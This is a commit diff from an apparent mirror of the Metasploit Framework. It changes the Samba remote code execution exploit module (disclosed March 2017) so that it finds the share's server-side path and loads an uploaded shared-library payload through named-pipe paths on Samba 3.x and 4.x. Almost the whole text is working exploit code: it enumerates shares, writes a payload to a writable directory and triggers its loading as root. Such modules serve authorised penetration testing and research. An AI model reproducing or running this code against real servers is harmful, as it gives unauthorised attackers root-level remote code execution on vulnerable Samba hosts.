mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Detect server-side path, work on Samba 3.x and 4.x
This commit is contained in:
parent
eebfd9b7f2
commit
123a03fd21
@ -22,10 +22,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
|
||||
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
|
||||
'hdm', # Metasploit Module
|
||||
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
|
||||
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
@ -52,6 +51,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
|
||||
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DCERPC::fake_bind_multi' => false,
|
||||
'SHELL' => '/bin/sh',
|
||||
},
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Mar 24 2017',
|
||||
'DefaultTarget' => 1))
|
||||
@ -69,29 +73,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def generate_common_locations
|
||||
candidates = []
|
||||
if datastore['SMB_SHARE_BASE'].to_s.length > 0
|
||||
candidates << datastore['SMB_SHARE_BASE']
|
||||
end
|
||||
|
||||
%W{ /volume1 /volume2 /volume3 /volume4
|
||||
/shared /mnt /mnt/usb /media /mnt/media
|
||||
/var/samba /tmp /home /home/shared
|
||||
/tank
|
||||
}.each do |base_name|
|
||||
candidates << base_name
|
||||
candidates << [base_name, @share]
|
||||
candidates << [base_name, @share.downcase]
|
||||
candidates << [base_name, @share.upcase]
|
||||
candidates << [base_name, @share.capitalize]
|
||||
candidates << [base_name, @share.gsub(" ", "_")]
|
||||
end
|
||||
|
||||
candidates.uniq
|
||||
end
|
||||
|
||||
def enumerate_directories(share)
|
||||
begin
|
||||
self.simple.connect("\\\\#{rhost}\\#{share}")
|
||||
@ -110,15 +91,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return nil
|
||||
|
||||
ensure
|
||||
if self.simple.shares["\\\\#{rhost}\\#{share}"]
|
||||
self.simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
end
|
||||
|
||||
def verify_writeable_directory(share, directory="")
|
||||
begin
|
||||
self.simple.connect("\\\\#{rhost}\\#{share}")
|
||||
simple.connect("\\\\#{rhost}\\#{share}")
|
||||
|
||||
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
|
||||
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
|
||||
@ -135,56 +114,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return false
|
||||
|
||||
ensure
|
||||
if self.simple.shares["\\\\#{rhost}\\#{share}"]
|
||||
self.simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
simple.disconnect("\\\\#{rhost}\\#{share}")
|
||||
end
|
||||
end
|
||||
|
||||
def share_type(val)
|
||||
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
|
||||
end
|
||||
|
||||
def enumerate_shares_lanman
|
||||
shares = []
|
||||
begin
|
||||
res = self.simple.client.trans(
|
||||
"\\PIPE\\LANMAN",
|
||||
(
|
||||
[0x00].pack('v') +
|
||||
"WrLeh\x00" +
|
||||
"B13BWz\x00" +
|
||||
[0x01, 65406].pack("vv")
|
||||
))
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Could not enumerate shares via LANMAN")
|
||||
return []
|
||||
end
|
||||
if res.nil?
|
||||
vprint_error("Could not enumerate shares via LANMAN")
|
||||
return []
|
||||
end
|
||||
|
||||
lerror, lconv, lentries, lcount = res['Payload'].to_s[
|
||||
res['Payload'].v['ParamOffset'],
|
||||
res['Payload'].v['ParamCount']
|
||||
].unpack("v4")
|
||||
|
||||
data = res['Payload'].to_s[
|
||||
res['Payload'].v['DataOffset'],
|
||||
res['Payload'].v['DataCount']
|
||||
]
|
||||
|
||||
0.upto(lentries - 1) do |i|
|
||||
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
|
||||
stype = data[(i * 20) + 14, 2].unpack('v')[0]
|
||||
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
|
||||
scoff -= lconv if lconv != 0
|
||||
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
|
||||
shares << [ sname, share_type(stype), scomm]
|
||||
end
|
||||
|
||||
shares
|
||||
def find_share_path
|
||||
share_info = smb_netsharegetinfo(@share)
|
||||
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
|
||||
end
|
||||
|
||||
def probe_module_path(path, simple_client=self.simple)
|
||||
@ -213,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def find_writeable_share_path
|
||||
@path = nil
|
||||
share_info = enumerate_shares_lanman
|
||||
share_info = smb_netshareenumall
|
||||
if datastore['SMB_SHARE_NAME'].to_s.length > 0
|
||||
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
|
||||
end
|
||||
@ -243,6 +179,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
random_filename = Rex::Text.rand_text_alpha(8)+".so"
|
||||
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
|
||||
|
||||
wfd = simple.open(filename, 'rwct')
|
||||
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
|
||||
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
|
||||
@ -250,68 +187,34 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
wfd.close
|
||||
|
||||
@payload_name = random_filename
|
||||
return true
|
||||
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
print_error("Write #{@share}#{filename}: #{e}")
|
||||
return false
|
||||
|
||||
ensure
|
||||
if self.simple.shares["\\\\#{rhost}\\#{@share}"]
|
||||
self.simple.disconnect("\\\\#{rhost}\\#{@share}")
|
||||
end
|
||||
simple.disconnect("\\\\#{rhost}\\#{@share}")
|
||||
end
|
||||
|
||||
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
|
||||
return true
|
||||
end
|
||||
|
||||
def find_payload
|
||||
# Retrieve the server-side path of the share like a boss
|
||||
print_status("Retrieving the remote path of the share '#{@share}'")
|
||||
share_path = find_share_path
|
||||
|
||||
# Reconnect to IPC$
|
||||
target = [share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
|
||||
print_status("Loading the payload from server-side path #{target}...")
|
||||
simple.connect("\\\\#{rhost}\\IPC$")
|
||||
|
||||
# Look for common paths first, since they can be a lot quicker than hunting PIDs
|
||||
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
|
||||
generate_common_locations.each do |location|
|
||||
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
print_status("Trying location #{target}...")
|
||||
probe_module_path(target)
|
||||
end
|
||||
|
||||
# Exit early if we already have a session
|
||||
return if session_created?
|
||||
|
||||
return unless datastore['BruteforcePID']
|
||||
|
||||
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
|
||||
# to non-root, but their /proc/pid directories are still owned by root. Trying to
|
||||
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
|
||||
# good chance that this still works on some embedded systems and odd-ball Linux.
|
||||
|
||||
# Use the PID hunting strategy devised by Tavis Ormandy
|
||||
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
|
||||
|
||||
# Configure the main connection to have a working directory of the file share
|
||||
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
|
||||
# Use a second connection to brute force the PID of the first connection
|
||||
probe_conn = connect(false)
|
||||
smb_login(probe_conn)
|
||||
probe_conn.connect("\\\\#{rhost}\\#{@share}")
|
||||
probe_conn.connect("\\\\#{rhost}\\IPC$")
|
||||
|
||||
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
|
||||
2.upto(32768) do |pid|
|
||||
|
||||
# Look for the PID associated with our main SMB connection
|
||||
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
vprint_status("Trying PID with target path #{target}...")
|
||||
probe_module_path(target, probe_conn)
|
||||
|
||||
# Keep our main connection alive
|
||||
if pid % 1000 == 0
|
||||
self.simple.client.find_first("\\*")
|
||||
end
|
||||
end
|
||||
# The first method works against Samba 3.x
|
||||
probe_module_path("\\\\PIPE\\" + target)
|
||||
|
||||
# The second method works against Samba 4.x
|
||||
probe_module_path(target)
|
||||
end
|
||||
|
||||
def check
|
||||
|
Loading…
Reference in New Issue
Block a user